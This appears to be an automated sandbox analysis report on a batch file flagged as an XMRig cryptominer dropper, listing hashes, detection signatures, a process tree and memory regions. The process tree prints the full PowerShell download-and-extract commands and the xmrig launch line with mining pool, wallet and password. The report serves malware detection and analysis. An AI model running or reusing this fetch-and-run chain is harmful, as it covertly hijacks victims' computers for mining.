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Analysis

  • max time kernel
    1794s
  • max time network
    1801s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4056
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3560
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3552

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ecdd314abadab005dc64255a3c429d37

    SHA1

    f10e644050c289e56f47276cd94e062cdc516601

    SHA256

    2a5584109c7ab44cb85f04f3f66d47ce870103b592586e663e2fe9566c42083b

    SHA512

    a30c9e79b458496f446fdb1acfbaa56ad648c123b907cb493533c440ffdf92a2bebb44aed8ed8db23f49da1bd4c451ae3a2956e9124d5f8324a1c14f2d41c001

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bjou3on2.jpj.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    32KB

    MD5

    670255617138e5bb66983f2ccdd1bf66

    SHA1

    228aa1e27996adf242ccd36dcccad6d6f0d59e2e

    SHA256

    383c415de90ccc2f8629839d56e90279d1fd4506a0354c1dfd304e03025b9e86

    SHA512

    11494804265d557f1e0497041e2cc0f076ee8aee79b1fbdcf6f0c12137fac4cc97dda043fae5f7c524741edcb13eb96fc650659fd2c8f958215f1195aac5fb57

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    24KB

    MD5

    ec7b2eaf864487a9d7672ab5a5166b56

    SHA1

    26151f7d41d3b4a2dd01734bdaa6352398bad9c1

    SHA256

    9002f05376171742d91ba7f55a7e86763d1d2c305817537b0702dcff61dcdd4f

    SHA512

    c5aadb653f152dd10d9eecf45794a1b5862f99654b512b4311af00eb39f617cdcae65edd47b26143bc28b3a96cc40efc9f059eb64b3360cb1aa6e328025e2eb7

  • memory/3552-141-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-169-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-184-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-183-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-182-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-181-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-180-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-179-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-178-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-177-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-176-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-175-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-174-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-116-0x0000017B0CA70000-0x0000017B0CA90000-memory.dmp

    Filesize

    128KB

  • memory/3552-173-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-117-0x0000017B0E4F0000-0x0000017B0E510000-memory.dmp

    Filesize

    128KB

  • memory/3552-118-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-120-0x0000017BA0ED0000-0x0000017BA0EF0000-memory.dmp

    Filesize

    128KB

  • memory/3552-119-0x0000017BA0CA0000-0x0000017BA0CC0000-memory.dmp

    Filesize

    128KB

  • memory/3552-121-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-122-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-125-0x0000017BA0ED0000-0x0000017BA0EF0000-memory.dmp

    Filesize

    128KB

  • memory/3552-124-0x0000017BA0CA0000-0x0000017BA0CC0000-memory.dmp

    Filesize

    128KB

  • memory/3552-123-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-126-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-127-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-128-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-129-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-130-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-131-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-132-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-133-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-134-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-135-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-136-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-137-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-138-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-139-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-140-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-172-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-171-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-144-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-142-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-145-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-146-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-147-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-148-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-149-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-150-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-151-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-152-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-153-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-154-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-155-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-156-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-157-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-158-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-159-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-160-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-161-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-162-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-163-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-164-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-165-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-166-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-167-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-168-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-143-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3552-170-0x00007FF7EE490000-0x00007FF7EEF93000-memory.dmp

    Filesize

    11.0MB

  • memory/3560-76-0x0000027971370000-0x0000027971382000-memory.dmp

    Filesize

    72KB

  • memory/3560-41-0x0000027971060000-0x0000027971070000-memory.dmp

    Filesize

    64KB

  • memory/3560-39-0x0000027971060000-0x0000027971070000-memory.dmp

    Filesize

    64KB

  • memory/3560-113-0x00007FFAF09E0000-0x00007FFAF13CC000-memory.dmp

    Filesize

    9.9MB

  • memory/3560-89-0x00000279712D0000-0x00000279712DA000-memory.dmp

    Filesize

    40KB

  • memory/3560-38-0x00007FFAF09E0000-0x00007FFAF13CC000-memory.dmp

    Filesize

    9.9MB

  • memory/3560-62-0x0000027971060000-0x0000027971070000-memory.dmp

    Filesize

    64KB

  • memory/4056-9-0x00000266EE380000-0x00000266EE390000-memory.dmp

    Filesize

    64KB

  • memory/4056-6-0x00007FFAF09E0000-0x00007FFAF13CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4056-30-0x00007FFAF09E0000-0x00007FFAF13CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4056-8-0x00000266EE380000-0x00000266EE390000-memory.dmp

    Filesize

    64KB

  • memory/4056-25-0x00000266EE380000-0x00000266EE390000-memory.dmp

    Filesize

    64KB

  • memory/4056-10-0x00000266EE640000-0x00000266EE6B6000-memory.dmp

    Filesize

    472KB

  • memory/4056-4-0x00000266EE490000-0x00000266EE4B2000-memory.dmp

    Filesize

    136KB